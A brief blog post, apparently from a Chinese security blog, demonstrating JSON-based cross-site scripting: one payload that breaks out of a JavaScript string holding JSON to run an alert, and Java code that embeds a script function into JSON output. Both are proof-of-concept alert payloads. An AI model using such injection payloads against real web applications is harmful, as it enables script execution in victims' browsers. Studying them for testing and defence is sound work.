JSON XSS

JSON XSS

<script>var JSONResponseString='{"movies":[{"response":"111"}]}';alert(/xss/)</script>//"}]}';</script>

 

 

json = new JSONObject();
json.put("code", 200);
json.put("info", "{'replace':function(){alert(/xss/);}}");
json.put("msg", "success");
System.out.println(json);
// 输出：{"code":200,"info":{"replace":function(){ alert(/xss/); }},"msg":"success"}

 

 

 

https://blog.csdn.net/l_f0rm4t3d/article/details/23851071/

posted @ 2018-11-08 16:09 Bypass 阅读( ...) 评论( ...) 编辑 收藏